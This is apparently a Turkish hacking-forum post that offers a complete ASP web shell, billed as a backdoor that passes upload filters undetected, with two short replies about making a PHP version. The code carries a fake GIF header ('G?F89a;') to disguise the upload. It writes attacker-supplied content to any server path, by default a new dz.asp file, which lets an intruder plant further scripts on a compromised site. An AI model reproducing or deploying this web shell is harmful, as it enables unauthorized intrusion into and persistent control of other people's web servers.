asp Backdoor oluşturucu

Asp sitelerin upload kısımlarından bu dosyayı rahatlıkla yükleyebilirsiniz, sistem tarafından zararlı kod olarak okunmaz, tek yaptığı şey textbox içine yazdığını kodları ftp'de oluşturmak.

Piyasada bulunmaz

G?F89a;
<%
on error resume next
testfile=Request.form("filepath")
msg=Request.form("message")
if Trim(request("filepath"))<>"" then
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.CreateTextFile(testfile,True)
thisfile.Write(""&msg& "")
if err =0 Then
response.write "<font color=red>Successful ....</font>"
else
response.write "<font color=red>No Permission :(</font>"
end if
err.clear
thisfile.close
set fs = nothing
End if
%>
<form method="POST" ACTION="">
<p align="center">
<input type="text" size="79" name="filepath"
value="<%=server.mappath("dz.asp")%>">
<BR>
<TEXTAREA NAME="Message" ROWS="10" COLS="60"></TEXTAREA>
</p>
<p align="center">
<input type="submit" name="Send" value="Submit">
</p>
</form>
<p align="center"></body></html>   </body></html><font face="Courier New">SPYHACKERZ ©
Copyright 2006 - 2018.<br>
</font>
</p>
<title>[ SPYHACKERZ ]</title>

 

güzelmiş bu php versiyonu varmi

 

php versiyonu yaparım ben mkfile işte.